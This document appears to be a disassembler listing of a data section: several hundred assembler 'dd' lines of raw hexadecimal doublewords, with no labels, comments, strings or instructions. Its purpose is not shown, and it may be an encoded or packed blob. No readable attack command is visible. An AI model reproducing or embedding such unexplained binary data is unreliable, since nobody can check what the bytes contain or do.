dd 0CBB9205Fh, 0D200BA70h, 0FFD3F8C2h, 0F9AE4B5h, 346FCC7Bh
dd 0C39380E0h, 0C616DB42h, 70015CF1h, 1D9657CFh, 901A7FE0h
dd 64710028h, 0C8DC4D93h, 0B248E8CAh, 5DA6046Ch, 10909B18h
dd 77DF542h, 9DB80A05h, 9E9A9366h, 5FFDEBF0h, 0D4EAA01h
dd 9C06DBE2h, 0F77FECh, 290E12F9h, 449F9A2Fh, 59D65D00h
dd 51FC2D20h, 0C75800B4h, 0E136EB60h, 5D004DC9h, 111F8D42h
dd 4F5E409h, 53C7FE37h, 0B8BAC158h, 878F8DDh, 4E1E5200h
dd 8D72D961h, 64E621h, 28364DA4h, 3AE6EECDh, 0A3A6FE00h
dd 0F38DCEBBh, 1C203810h, 0B927B69Dh, 0F26BF000h, 0C346D585h
dd 80665C00h, 0E16E2C3Eh
dd 424903Ah, 0FC9A9720h, 1FC6075Dh, 0AEF40120h, 2E7200E3h
dd 0C5D0B37Eh, 3D01F211h, 0E5CAA118h, 72DCA9E9h, 8466007Ah
dd 0A79094B0h, 774CC9A3h, 2EED0AE6h, 0D388F8B7h, 0DC5C095Bh
dd 0DFD72410h, 2C9A13FCh, 6B00AB7Eh, 1F020C0Dh, 0FEA815h
dd 576D107Bh, 0EA45D09Ah, 0B5F5F90Bh, 40B10170h, 0C0FC3471h
dd 54853F2Dh, 0E08AD080h, 0C92CEE36h, 0D4C3A900h, 30959966h
dd 3919C323h, 0FEC04C43h, 0C404E629h, 0D4AC45E9h, 1A5B5CC0h
dd 12755Fh, 0CB1907C8h, 0C4BB6759h, 9258700h, 0C6A7E6F8h
dd 5E210080h, 0DBE56142h, 33249B3Fh, 978050A0h, 0C9F136ACh
dd 576907FAh, 0F04990Fh, 253A2A80h, 4200F5C5h, 43D2A45Eh
dd 0B8BE4E96h, 0EC8C0736h, 97DFC399h, 0BB5B50B2h, 760041E1h
dd 0B421724Ah, 34A4B5h, 0F25CDD15h, 31547D77h, 0AE000971h
dd 0E08F6D46h, 831333h, 18FAA556h, 312C5066h, 34A6E3Ah
dd 0B94D6785h, 0BD58E88Bh, 7CD20098h, 630C3441h, 0F008574h
dd 6E60129h, 96B66h, 4B04838Fh, 0C5151DF4h, 780D2700h
dd 9B0A1CCDh, 0BB338C7h, 1FCFA282h, 2868D935h, 7A0BE2F2h
dd 80256BC5h, 477582E4h, 0FCEB26BAh, 8F20F5h, 443DCDC3h
dd 0AC686448h, 22EF3100h, 0A9B802D4h, 8B1F1F55h, 0CB8DC24Bh
dd 8AC0DD9Bh, 0AF4C5F9Fh, 50050F30h, 4EEC65ADh, 957BF8D0h
dd 0A2180461h, 0A0E98CA7h, 0AF00028Ch, 80FEA4F4h, 0FDA8FFh
dd 0F671D77Ch, 0AC43EDC3h, 5703F9F8h, 9CE8919Fh, 6BE5C896h
dd 3AAA0349h, 2D033336h, 23C1EB90h, 0DBD50900h, 0D6A75435h
dd 17401BD3h, 8BE28151h, 0E8749FC0h, 84491300h, 8C3916F6h
dd 81833125h, 0F0214B28h, 760B483Ch, 0A0C6ECDEh, 657E453Ch
dd 30CF63B2h, 80A0F784h, 34009D75h, 0E61C4754h, 3981CE55h
dd 0C705125Eh, 41C9DD39h, 84646120h, 9188467h, 0CA00D966h
dd 587581ABh, 280F9C90h, 0C2A817F7h, 40BADACFh, 7861490Ah
dd 0F9D8F7C8h, 0A3FC87h, 0D6A5C0ADh, 415C82E5h, 5EB1E601h
dd 0DA06AC30h, 10565985h, 0B310D109h, 5EB88E1Fh, 848180EFh
dd 0A012532Ch, 0A00CAD10h, 9869F81Ch, 0D17E00E9h, 3E705CF4h
dd 110058BFh, 0CD73F645h, 1334828h, 0BAC95BD7h, 0EF44D217h
dd 0B3F852EBh, 0E21C4F3Ah, 0C0CD8D09h, 4CCC1861h, 0A7A50062h
dd 5E0170CCh, 0D2185F03h, 4A20F460h, 6CD94DB3h, 0F30C7000h
dd 0CC579E4Fh, 0A80024E2h, 0DC78A39Ah, 3E229CDAh, 4286A672h
dd 401880D2h, 5B3BDB1Eh, 7DEBE107h, 0B6E48780h, 0D528C379h
dd 4FF58657h, 5EE04DC4h, 35DAA4DFh, 8F800854h, 0B221CB67h
dd 3042898Ch, 5851FDE2h, 0C21870BAh, 9CD1CE88h, 0A4750765h
dd 4620D4CCh, 880141C0h, 0CE71A755h, 3C245659h, 0E91B00D0h
dd 5E80D1C0h, 0F2615870h, 0FB88C930h, 61081A7Eh, 3E006009h
dd 8B25AF75h, 3D87FC1Dh, 0BBE8EA40h, 6D665B3h, 28E79F8Eh
dd 9DE8C133h, 13E42C03h, 487DA7h, 57945F79h, 3666F6DBh
dd 21088C1Ch, 1B8FCD80h, 38C7A932h, 9026819Bh, 0B3130EB8h
dd 5E573898h, 157188A4h, 5D03BF78h, 20FC7570h, 0BB35C0B0h
dd 17DC31C0h, 8ED4A581h, 9B2D31h, 5D991B3Dh, 0FDF804h
dd 565888BCh, 44B84F1Eh, 0E2538E00h, 50ACF4FBh, 0CF2F06E6h
dd 0B9497EB2h, 0D312EC00h, 0D4C6341Bh, 0A4DE07B8h, 0A28CCD57h
dd 708356C9h, 8100DF35h, 7A51CCB2h, 0EE9B685Fh, 5EA0008Eh
dd 34D2C49h, 29C0E035h, 16D0C74Ch, 0A9AE00E4h, 3A9FE223h
dd 0B603806Bh, 94683856h, 827AC030h, 2C350954h, 8C21DD2Bh
dd 0D0A30990h, 99002D96h, 4145E758h, 93600Eh, 899D9208h
dd 0DEAC5C3Ch, 4CDBB53Fh, 5ACE05E0h, 0FC02DAB8h, 0C04FCDF1h
dd 1E7EC9h, 191ADA4h, 49FCFDB4h, 0C9B8C50h, 894E6B01h
dd 285B5AFBh, 0CDD8DD40h, 6EFE75B9h, 612E28F8h, 5D64AB80h
dd 0FCF289B3h, 46419500h, 81996D0Ah, 616000F0h, 0B49E407h
dd 0FA6359CDh, 38B52438h, 0CF009231h, 3F559917h, 0E305C5C2h
dd 0C60968A9h, 0A637C6h, 24EEF5B0h, 355530D7h, 0C5A121Eh
dd 0DDAF6840h, 0D1A58Dh, 549253C6h, 5B15A393h, 1CD9980Fh
dd 0C8E680D7h, 728BDCBh, 59A22312h, 0FDDE71C0h, 7FF08B9Bh
dd 7F787E6h, 0AA42B81h, 0A808F8h, 0C6A13930h, 377990B1h
dd 0E01E3600h, 70957DF0h, 473A003Fh, 120318B3h, 5100F638h
dd 0CEB4AB9Ch, 6DE7893h, 6B4FB98Bh, 18ECE88Dh, 0F0B08355h
dd 80A8BB96h, 37008E38h, 80E93C16h, 2904BFh, 43DD3450h
dd 1DEC5CADh, 31A24B00h, 413FF19Ch, 0BFB504A5h, 0AF586106h
dd 51953580h, 459F066Ch, 18EBEC72h, 0CC9623Ah, 11EF1A83h
dd 7F33384Bh, 54742301h, 9B0C525Fh, 9121D308h, 34C87F6Bh
dd 634E0083h, 4C023FECh, 4A3C4FF2h, 4D2860D6h, 2DC5EDh
dd 695776C9h, 5A9CD568h, 38476E00h, 582F460Ch, 0F3E418EBh
dd 4A99906Ah, 0A9D41819h, 62E478B8h, 0A9666070h, 0A48E9A42h
dd 87807D3Dh, 6C10E5B4h, 714E46h, 758D8160h, 7642AE16h
dd 0BA20F401h, 46C7530Ch, 2DEBB880h, 0B2D6F93Eh, 185161C1h
dd 108268A8h, 0CE8CACD3h, 37B4860h, 62292A00h, 9B113D07h
dd 4C32005Ah, 0D3A204D5h, 0A3000C82h, 22092E08h, 733EC7Ch
dd 0B729DD64h, 80708547h, 0B41DDB39h, 0BB152C00h, 79F211D4h
dd 3B940036h, 0F362761Bh, 0E2511A52h, 0C7EFD7E4h, 9BFEA172h
dd 0F23AE86Dh, 100F9C71h, 83333542h, 0B06A2C15h, 361D52Dh
dd 59987263h, 0D8E8806Fh, 0BC5C7351h, 0C70400EFh, 1E4412Ah
dd 0FC420094h, 46AAFE69h, 2900FB49h, 0B897E7CCh, 0DE2C37h
dd 0C49A02F0h, 7A4DFA24h, 80C2D338h, 0BB1EAC55h, 0E47758h
dd 97568202h, 55288F9h, 67B19900h, 0E7C8C271h, 78180058h
dd 1169EFFDh, 6002C0A5h, 1ED9F473h, 5F7BC002h, 25370733h
dd 503AEA61h, 26CBC22Fh, 6EE63618h, 0C6C158h, 0EF5AC539h
dd 0ED351D31h, 0BDC4E200h, 932DFA02h, 0D05C0042h, 4983E482h
dd 0CE0701C0h, 68B145CBh, 0D605F7B0h, 911900BBh, 0A82D292Fh
dd 0E63DCD56h, 7E5200EEh, 0B4870BB7h, 0AA5E0031h, 0A3C821FEh
dd 8B003706h, 0D201094Bh, 0FAFBA864h, 0D7E2002Dh, 8C1B4602h
dd 760F14F8h, 0A0CAEBAEh, 7C86FAD4h, 925D00B7h, 48E5A0BAh
dd 33004405h, 79A9601Bh, 40D8DEh, 0D690DCE0h, 0FA2FA58Fh
dd 0C7BAD8A0h, 58940701h, 464BA40Bh, 2DB9C4h, 0C3919614h
dd 0E6620845h, 0DBBA9000h, 6734CD3Eh, 0A9610222h, 0DD3721FDh
dd 0E5569140h, 0E1EC9800h, 0C45A0A4Dh, 0CAF70018h, 7D67C825h
dd 0FBFAAC0Eh, 0B7ED7E0Ah, 2800A81Ch, 2945843Eh, 6D7609h
dd 265EDBC7h, 0C1D9F022h, 2033F00h, 819853B8h, 1CF80087h
dd 115A9D06h, 0B6007B2Eh, 380941C6h, 79A86928h, 0AB97014Dh
dd 0AD1526E0h, 4FA6F8D8h, 70259F30h, 3AE930CEh, 7B80BB5Eh
dd 0BF514078h, 0A6011CF7h, 47E1FF6Bh, 97CC30AEh, 0C2A30768h
dd 0B08B8EBEh, 5693EB82h, 61B8DEE0h, 820B783Eh, 3B2A9031h
dd 42C080D0h, 9C367ECh, 0EF4D4E14h, 0FAA06400h, 0BF75999Dh
dd 0C53D72ECh, 0AC1900A8h, 0C3DC32E6h, 8643019Fh, 31271834h
dd 0DC1FFD30h, 9E70D336h, 0EEA38202h, 0E013A491h, 7796CEF4h
dd 90F50083h, 0E967D1E7h, 0AE3DB933h, 0E255805Fh, 32BC6E8Ch
dd 0B09D0F8Bh, 65C6A9DDh, 0A4298142h, 0B009C41h, 8FE32DB4h
dd 565158B7h, 0BD795C00h, 1FB818EEh, 1CA348h, 5D4FA2D9h
dd 8863CAh, 851AB9BBh
dd 4E035208h, 0CE00977Ch, 0C0C9299Bh, 72BA46h, 0DB0B9334h
dd 94964FEh, 0B60088ECh, 3C40ACE1h, 18D5276Ch, 60A759C0h
dd 530CEA91h, 10A88D39h, 0A311098Fh, 5420AEA4h, 918782C4h
dd 3D4C0F00h, 0C206675Bh, 0ED3200F7h, 0A12C412Fh, 7C909B8Bh
dd 2BC8100h, 38C32887h, 0D66E00D7h, 1EE4DDE8h, 0C17F5EF8h
dd 6400ED7Dh, 4BEC187Ah, 79A81285h, 0AC9831h, 0CB710D5Eh
dd 0B359E162h, 0C18A0100h, 0E491C4DFh, 6D111EC9h, 40068974h
dd 0DC28C4D4h, 0C1541C00h, 0E4046020h, 2DDF00BBh, 2F790297h
dd 549AD6D0h, 7B30FE02h, 623B7C35h, 8814874Ch, 0DA6399C0h
dd 0F1D20C17h, 0B611A92Bh, 6F725101h, 0A6B564E2h, 0B8FB6C80h
dd 54147B55h, 28B30A30h, 58CA15h, 0F08F5D84h, 0F1BA5A42h
dd 48BB1900h, 0A9E537C9h, 5C8A000Dh, 0C332F408h, 0D60133A3h
dd 216987A6h, 0FD15203h, 58BFC120h, 3C003715h, 0B0866712h
dd 0DAF15B21h, 7A23B0A3h, 9A89B1E3h, 0C7A82026h, 0BB0B2970h
dd 0F194F7h, 0CE3E5B00h, 583B6017h, 0BBDE9E08h, 0E720E014h
dd 422E77C4h, 0C31C6F4Ch, 447B837Fh, 0C0703FE5h, 0ADFEA5h
dd 770BF1FFh, 0BC4352C8h, 6C00FC98h, 0DA606A42h, 3CF0A22Dh
dd 54034BC6h, 97335B25h, 7787A100h, 0E0164965h, 3A07004Dh
dd 0DBBFCC8Ah, 0C61F20D5h, 9BC21C5Dh, 0E1F3BEBBh, 6EE861D8h
dd 0DC1800DBh, 2BFD5B50h, 0D7007299h, 0E34702FBh, 1F163Bh
dd 0A1FEADB8h, 9307D6E5h, 198F11DFh, 8D53402Eh, 0C3DD39h
dd 2C47E622h, 0ED34C730h, 3571DF04h, 0CCD10D99h, 0C26008C0h
dd 0A4603AFh, 519FC190h, 0D62B5CA1h, 6EEBA087h, 35BD44h
dd 0C31BD646h, 0BB07008Dh, 2F57A0B0h, 0FB009281h, 44D1C033h
dd 77E8E3C1h, 9EBC019Ch, 3A8778D6h, 430F319Bh, 47E71C00h
dd 103271D4h, 72FDE4FAh, 81623501h, 0DC5DE352h, 63A8C4h
dd 8069DE5Fh, 0A34C4A4Bh, 0FEE2BE00h, 0FB5C171h, 4DE93E38h
dd 407BD880h, 0D717F753h, 0FFCAFA01h, 780DD88h, 7A81FD0h
dd 0F73E719Ah, 0E1212036h, 621F565Dh, 2800C5Ah, 96FFBCAh
dd 0B4EA0625h, 0A6A62FD6h, 399DD8FDh, 86E9F300h, 0A4A7B88h
dd 594F0068h, 56CA4110h, 460CE7D0h, 1EA29A14h, 12720B5Ah
dd 0FE007931h, 0F3C778CBh, 1C7A7B00h, 0B9AD8646h, 59D90020h
dd 4570BC97h, 9F902516h, 6712DDFEh, 9E018D2Eh, 36FED109h
dd 100D7DBh, 0F26C8B7Fh, 760F0023h, 3D528008h, 9CE8EC65h
dd 0D4F2AA00h, 94C4678Eh, 6114002Fh, 4D46F6ACh, 3D00104Eh
dd 0A191BD73h, 706FF4E7h, 9778003Eh, 3F497D04h, 7F0E2B36h
dd 8023794Eh, 4D9A391Eh, 2D730066h, 0D6C5D3DFh, 0A0009584h
dd 0F4114858h, 0EA6BEB8h, 479D781Dh, 10C46B20h, 0E1000927h
dd 0AC8A9326h, 2B76421h, 0EF7DA63Fh, 0F860BDB1h, 5D011B98h
dd 8428485Eh, 0DDC3034h, 21FE4CBh, 0CE199F6Dh, 0B6E02F60h
dd 0ECFCE379h, 0D6DE7200h, 0CF71D11Dh, 0D35C0735h, 40E9B82Bh
dd 52D74C3Ch, 66670D17h, 2ADB2043h, 370A686h, 9744D415h
dd 0A3A0BC75h, 0A17C0BBFh, 22187767h, 0B220C7C1h, 0AF111840h
dd 81950369h, 8E440C06h, 0D1189FA0h, 687DD700h, 0BF91C105h
dd 5C73793Bh, 4401FE2Ah, 0DBB8C6F2h, 0C72447C7h, 830CC71Ch
dd 99006406h, 0B8CEF217h, 1AA6D7D3h, 40CA2521h, 0D0D04416h
dd 0B63E1D44h, 0F369603Dh, 3C825Eh, 987316EBh, 85FF275Ah
dd 7683C900h, 0B05EB75Bh, 0DAA00029h, 716482A8h, 8509D033h
dd 0D0ADAB31h, 1D691E9Eh, 0B4FC0072h, 797B4329h, 5BD92D1Dh
dd 25C0075Ch, 8353494Ch, 0D02C00BCh, 0E225859h, 78481965h
dd 734D07B2h, 544095FBh, 7918698Ah, 466300A0h, 0AD2ADAA2h
dd 0B100C9C3h, 5C40E276h, 0E4146654h, 0E3530020h, 0AF3606DCh
dd 603A4177h, 0C64D80C7h, 350ECEABh, 0B246001Ah, 80D4E8C0h
dd 8003BA1h, 747199B3h, 28956Ah, 0CD41D6E0h, 0FEB757A8h
dd 0A748BD00h, 6555F6E4h, 67F30017h, 4E0690CAh, 2A0339FFh
dd 976088AFh, 14F1B015h, 1E000D3h, 731386EAh, 2400DD65h
dd 5564A4F7h, 9695D71h, 0E1EF150h, 0E563E882h, 1000C242h
dd 0F1514D49h, 2C98D8A8h, 3A20580Ch, 1A11BCh, 6544B20Eh
dd 3B862F96h, 33B6263Ah, 0E0C4211Ch, 14715B2h, 0D6857AE9h
dd 40126EE6h, 0C1DD4B20h, 3418ABFEh, 4378809Eh, 840D0131h
dd 54D1F16Dh, 68B180C6h, 70F04B92h, 1290C098h, 44096745h
dd 1940AE48h, 0C508460Bh, 4BFC34h, 0D5107D55h, 6EF720FFh
dd 426219C0h, 34D09Bh, 176CAA7Ah, 9821E31Eh, 65BA5700h
dd 87371DFFh, 60743B13h, 0BDC62580h, 0AE780DAAh, 8B2B0500h
dd 0EB623971h, 9B9900CCh, 8E753A48h, 13FD1C8h, 86DA0138h
dd 965589ABh, 0A8C3D8h, 27BE466Eh, 0E325BC29h, 386A700h
dd 1331F7F4h, 1D830077h, 15E8F3Ah, 1E0010F3h, 5DDDB682h
dd 0E84EC0h, 755AA4FAh, 25DAB8D6h, 0A2696D0Eh, 24340017h
dd 0E73379Ah, 2779F6CBh, 57B489h, 32784104h, 0ECE30005h
dd 1AA8728h, 180C61CDh, 185E1DE5h, 0A29000AEh, 0B0D6FF9Bh
dd 90B57D0h, 0D6A8A0A9h, 616A0020h, 6047C95Eh, 0BCF218C0h
dd 164F3103h, 1908E7F4h, 30066105h, 5E009477h, 1C899CE0h
dd 66E93Bh, 75391811h, 0EEA8C691h, 63EEAE0h, 7701747Ch
dd 29C3E0A3h, 0A03BEC0Bh, 0FE019124h, 0D7DBE170h, 0A980F584h
dd 52964CEDh, 8D008F47h, 426EEB6Dh, 7C5EE6Bh, 77D8EC23h
dd 3028765Eh, 0F1DF1101h, 6B32BC85h, 4090A19Ch, 0D4E619E9h
dd 627777A8h, 247A9700h, 7CEA7B69h, 0A7553FE2h, 0DF8F5600h
dd 663C9CE3h, 30FA0AFCh, 0A9541B05h, 84005EE7h, 9FF7DE6Fh
dd 876400E9h, 186785C6h, 86E9E3DBh, 0D7E035E6h, 2D5E0078h
dd 8A37846Bh, 1E006247h, 4A67F752h, 9C8360h, 0F4B0B468h
dd 3A692672h, 8EF0423Dh, 97C0C5h, 0E7436C39h, 0CC76024Eh
dd 0CDAED994h, 0D2410483h, 21E0F083h, 471FD316h, 5D07B1DBh
dd 0A7E0AECCh, 1EF74A84h, 43186B41h, 0A6836803h, 4D12921h
dd 4464B27h, 915C1BBFh, 80521E2h, 0E0BF32AFh, 0D19B8751h
dd 0E75E0073h, 146F4374h, 7D00B449h, 0FA7FDDF5h, 0F6D287C8h
dd 3B3200EAh, 0CE6CD9C9h, 9200DB5Bh, 73333474h, 0A42615h
dd 0D5CA8421h, 1D3704D3h, 0DCF41AB0h, 5072FA00h, 56733044h
dd 339A002Dh, 2210C9AAh, 5590819Eh, 113DFD71h, 5390544Bh
dd 6BDD9B00h, 8D842775h, 0BF1F00BCh, 1CD13B61h, 93790150h
dd 43A27A00h, 8F9768CEh, 3FB77592h, 6381A436h, 7CC0ACA3h
dd 0D252C4CDh, 3500917Dh, 0E0B83192h, 87C7DEh, 455FD0EFh
dd 68A4DF03h, 0C53CF5F0h, 0F4372844h, 16DC0A00h, 0BB99777Ch
dd 0DC6B507Dh, 0A41300BFh, 0D8F53757h, 0DC000FE4h, 0CE599C3Eh
dd 18CDAADh, 0D240E1C7h, 0DCEFCB0Ch, 0B4007DD9h, 2AC6ACB1h
dd 2BA881h, 0FCCFFE17h, 0CA2C08E8h, 0F2244100h, 55285966h
dd 95221F93h, 0E3780019h, 890CEB7Bh, 0E2AD4B00h, 0E81C651Bh
dd 0E5670040h, 779485D6h, 0CB001028h, 0EDD815AAh, 90F69BC4h
dd 6A900134h, 31FADA71h, 0D859FCDFh, 0E1874600h, 0FEF3ACB7h
dd 2C5F0784h, 518D3275h, 0D464E068h, 121E1EC6h, 0F4C078CFh
dd 0BCF911EFh, 14AB1438h, 7EE875h, 0D5D8E441h, 299E1E0Ah
dd 0ABADDD2Ch, 38887614h, 8FF080C8h, 0E3FC9865h, 49970A69h
dd 0F3A25Bh, 1907F13Ch, 0D7EE2AC0h, 504EE900h, 0FA3D172Dh
dd 35B20053h, 97E0EDDDh
dd 8D1F4C19h, 1DC3B74Ah, 0F093D947h, 0E97A92h, 0E676501Ah
dd 8AC62631h, 0E0202703h, 80A33B84h, 5A7237h, 0F440F3C4h
dd 8DE46BFEh, 0EFD7A12h, 1DE0C841h, 398068FBh, 9548F8E5h
dd 0E400F4F1h, 0AA0BB4C7h, 0EBAD64h, 0A98BA18Ch, 450C39CAh
dd 8537A400h, 0C1049BE5h, 71F90ED9h, 7AEABBA8h, 2E9F0090h
dd 3CD5DABAh, 99A16300h, 0F4CF8C7h, 9AD90BBBh, 98002E9Dh
dd 94BFBCBDh, 93724100h, 0E322CD46h, 19CA0081h, 0FBCF0BB8h
dd 0C600231Fh, 34443BADh, 0FDD2E7h, 0DF1089FAh, 0E829FECCh
dd 7C11D800h, 2AF3F0FBh, 3E7C98h, 1E755239h, 0D98A2605h
dd 0E0B3A0Ah, 4600EDE9h, 7C69AD61h, 42D5009Fh, 369B7929h
dd 5000FAC7h, 0ADB0278h, 1EFFB6E6h, 89399E24h, 828358EAh
dd 0D0CFF409h, 1FA86F8Fh, 0B7F9C400h, 65C0F79Ch, 767302h
dd 14B6F3D5h, 2669A790h, 3E2D6700h, 86EE6878h, 0F4909Fh
dd 306A9EE8h, 0FEDA42Ch, 39D7AF0Fh, 9D58806Dh, 1DA5383Fh
dd 95AE44Eh, 0C900EFF2h, 9B9C942Dh, 0FA0E35FCh, 0D919F3h
dd 8A444E67h, 40D14C15h, 28E2DD00h, 555238A9h, 23434FFh
dd 1601342Ch, 1D0E0C16h, 8707E0EEh, 4526A78h, 3FDFA69Eh
dd 9B98C05Ah, 690905F2h, 80C8CAC7h, 445FD7F9h, 48AB00CDh
dd 0B870CCE4h, 0A3F87B01h, 0C7D0A06Fh, 2760FD7Eh, 0D0D9C2h
dd 99D8E2B0h, 0FE3A0C08h, 6582720Fh, 6D928041h, 0AF897Dh
dd 873E7504h, 0E9F475Fh, 538E381Dh, 0C08BEBDDh, 84068078h
dd 0A0CBBBh, 0E8605536h, 2B0F6D54h, 19B4BF00h, 0FE115A8Eh
dd 3A4898F9h, 470032A2h, 0A1C11AB5h, 4D003313h, 38574E7Ah
dd 0ECA78E9Fh, 80C0488Bh, 40806000h, 0EEBA4A2Ah, 9E766300h
dd 9A71DE16h, 8E06007Ch, 52EE374h, 0C03DCE2h, 0FEBC703Bh
dd 0BF22D0D2h, 8F1D004Bh, 0F476A140h, 0BA207E0Eh, 0B11F0073h
dd 6CC398B4h, 6A0057FBh, 0C91CD267h, 6BEC79h, 0C412BF9Ah
dd 1E2ACE51h, 5E3EEB72h, 0FB7BBDCh, 0B4C355h, 0F3131018h
dd 0D1FC00AAh, 0BABB9CCCh, 950080BFh, 0EE1A921Fh, 0F06DE2h
dd 0DFC3F30h, 0C351AE27h, 0F94D5407h, 0A56086A8h, 981816h
dd 0FD776A67h, 0B59699F1h, 78DC38h, 0A33CEB63h, 3C21C20Fh
dd 0C805D06h, 0AF64B9CFh, 1000AB8Eh, 1AB17DD2h, 2385DCh
dd 0BC2F6054h, 47BE480Eh, 43F12A03h, 0B087DF07h, 0D5672h
dd 51C78F59h, 1B4D9E89h, 0B4663501h, 0A009E55Ah, 13DB6810h
dd 271EBE00h, 51B684BFh, 4EF102B7h, 0BA8A1C2Dh, 0CC120060h
dd 7A74D007h, 11501983h, 8E5E1Dh, 0B370F4BFh, 0F8E4E656h
dd 0B848F209h, 5D8000DDh, 1680A65h, 59C3E839h, 716FC6EAh
dd 0E58440F3h, 9586762h, 7B570007h, 23AA193Bh, 479014B3h
dd 6F2C8961h, 0EDF2008Ch, 40216B9Ah, 4132000h, 0B7C9AD45h
dd 0C53F00CFh, 777BCDE8h, 38000568h, 8C203D0Dh, 2F24B8ABh
dd 99F81F4Ch, 0CB598D00h, 2807EA15h, 3EA2008Eh, 0E07C3DB2h
dd 43054952h, 0C88BF157h, 1E3180FEh, 4715C39h, 737AF207h
dd 0B4107464h, 7206C9A9h, 794300F8h, 1E1B8490h, 0B90076E0h
dd 0F29FC895h, 0F8D66B4Bh, 2A7A006Eh, 36DE876Fh, 0E500E8D0h
dd 16AF5648h, 7431E2Dh, 0D6928418h, 0B3780B5h, 0C913CE7Fh
dd 0B2000803h, 0A1625BA8h, 0BA07503Fh, 0E14F0E54h, 0B560F933h
dd 821CE85Ah, 69F7AD07h, 5C40B3B2h, 381B89D8h, 6C00FD21h
dd 3E35F974h, 0B2006312h, 2C298AA4h, 2A0CDB5h, 96559CA7h
dd 96822648h, 0C840F076h, 0C6760528h, 0F6C3720Eh, 5726014Bh
dd 0C8CF3C1Fh, 9892761Ch, 34940097h, 32903A15h, 0AA00260Dh
dd 0A0076FCCh, 1279C83h, 8614C1D1h, 207D2243h, 0D900A7C8h
dd 0E65B36DCh, 4A4ECB0h, 2680E272h, 0F180C14Eh, 5E37C8C6h
dd 0D87D4B28h, 1BC6F5Ch, 0D11D347Fh, 488147CFh, 0D96271A2h
dd 101DDB3Ch, 6CC032CDh, 64C5F6E0h, 19570041h, 510E8281h
dd 3201288Ch, 9FE47B88h, 17D09D3Eh, 0A23D0054h, 2F61D641h
dd 3B00FAA1h, 68D41ADCh, 0D2DED8h, 73222726h, 0BF9565A7h
dd 0B62B7D00h, 826117C4h, 989C016Fh, 464E8FDEh, 2C386078h
dd 7C184Ch, 523BD681h, 0F43E9567h, 8CC201C4h, 0DD17F02Eh
dd 0AB16E8A5h, 10480A00h, 89F93566h, 8C9B000Bh, 917947FCh
dd 0A5076DE8h, 0C50F087Dh, 13647730h, 0CB55127Fh, 9FE080A2h
dd 64948DFCh, 3CF0EC00h, 5FDFA0h, 493B85E7h, 0C310AFBh
dd 2735C3Ch, 2E5A050Dh, 9FD1C1B2h, 50E624C0h, 23FF89h
dd 0A331218Bh, 72AED829h, 0C6623706h, 78111B85h, 7393043Fh
dd 0B4435F76h, 7E004024h, 2BEE83DCh, 33E913Ah, 78C64F28h
dd 2CD012C0h, 1F02B906h, 0BEAAB5DCh, 0FAD7E12Eh, 0E2D33080h
dd 0CEE9FCF6h, 348850C0h, 50C214ECh, 128E3002h, 4326687Ah
dd 47CBE74Ch, 0EBB1298h, 0A1022C0Eh, 88556A14h, 2B06AB81h
dd 4B701F38h, 0FFB4A3E8h, 0B8F2FEC3h, 24F3AA97h, 3F69FFDh
dd 0F7463019h, 0F7AE1CB9h, 2F3B70D0h, 0B8817200h, 0C0EC1328h
dd 29E600F9h, 249CEFA8h, 991C0882h, 47095F7Dh, 3B1460C1h
dd 50D50075h, 921455D3h, 7C01E16Fh, 8D1C56B8h, 288A686Eh
dd 1826FCh, 1A71D997h, 0C798087Eh, 0CA00B8DFh, 2277D8B3h
dd 16390097h, 31D501DBh, 0D35CD985h, 747C00AFh, 646EDD4Eh
dd 0DEA53FCFh, 605B1E70h, 0F712804Dh, 41848D0Eh, 0C10BE719h
dd 0F42C959Ah, 81A01901h, 0E4C36FE6h, 0B5058855h, 0D41E737Ch
dd 0ECB00497h, 5FE2CEh, 7F0D48E1h, 0ED45A6CFh, 144B8A00h
dd 3CDB604h, 4E1D30C9h, 52432D59h, 44304174h, 927AE1EAh
dd 1F5A001Ch, 0DCE17591h, 0DA7B2CA7h, 0CD851B1Eh, 0F745C842h
dd 82A060A5h, 0CFC500CEh, 6F59D903h, 0FD029A36h, 2FC131F2h
dd 60868130h, 0B4D8AFCCh, 0B13800EEh, 8E2BBBE3h, 3B1FDA85h
dd 289F5318h, 9E9D3D3Bh, 0AA80ED1Ah, 98BAB9CEh, 0C29F1E69h
dd 2F2A8035h, 407EB12Dh, 28191331h, 1C03C9BEh, 8305C880h
dd 84F1A100h, 91A37F44h, 0EC020067h, 89D11C2Fh, 0A700A837h
dd 0F179359Bh, 6AB163h, 0AA592ED3h, 7D788D25h, 0EF437401h
dd 0B82A1F9h, 5A20FF8h, 69143AA4h, 9DE48079h, 80009741h
dd 885AFB82h, 172DFF1h, 3FA4409Ah, 0CEB6AB04h, 2E808AE3h
dd 0B80029CFh, 61D3B799h, 7CC0C5E6h, 2F530033h, 5E905F4Ah
dd 0F21DDA43h, 56E6A29Dh, 3C80FA1Dh, 0C99CC54Fh, 0B198A0CEh
dd 0AFCD00F1h, 0B541D694h, 4E0068DFh, 0C96B9D67h, 324C062h
dd 0B7D0439h, 0BB987B4Dh, 5E0EC8DDh, 816730FCh, 246F625Ah
dd 24DE4h, 34FFAA28h, 9435BA99h, 0CDF5BC00h, 63B8B179h
dd 0F49B12B6h, 8C2A00CEh, 61337B87h, 0B06ECA00h, 0AAFB86E0h
dd 9FF81CDEh, 41D35F5Eh, 0DF0166E7h, 0F0D8F8A0h, 0EEA50600h
dd 0BDFC0898h, 46FA18EFh, 0A38DC8A6h, 17ED0900h, 3D40778Ch
dd 9BD90058h, 69724F7Ah, 0D1F05F36h, 858DAA00h, 0BE338CA6h
dd 9688A07Dh, 5BDD000Ah, 84EEEF87h, 0E83E4229h, 811B0025h
dd 0EB2D62BAh, 0E29700BEh, 0D0133749h, 0E10FCBEEh, 0A0B989BFh
dd 0C77B0493h, 598C1C9Eh, 0D81600E0h, 8B6184Ah, 730064F4h
dd 33259FADh, 58E470B2h, 46003774h, 0A91C6C5Ah, 0B9000E88h
dd 60C16DDCh, 63BB09h, 3610BF8h, 0A8F72F02h, 0DABE4415h
dd 0FBE500DCh, 0EEACE3C7h, 9D37005Bh, 0CE39C2A8h, 600023FFh
dd 0C9513650h, 0B811EF12h, 0E58D00BCh, 2F1C1AF9h, 0C6007680h
dd 0B2162470h, 48C0C91Dh
dd 813C6C1Fh, 0EE455A00h, 0A67DB3BEh, 0C58EBA00h, 0F83FD23Ch
dd 2100127h, 98D56A42h, 35ADD0F1h, 0FFCCF03h, 0F017BF8Ah
dd 490961h, 55311CDBh, 5E393853h, 0FE7A5D1Dh, 4133CFDh
dd 3F52367h, 0FD87A480h, 24EE0282h, 3581458Bh, 0A352E840h
dd 93579800h, 58332B4Eh, 788C9201h, 0F06C2D0Bh, 0E40CEB7Ch
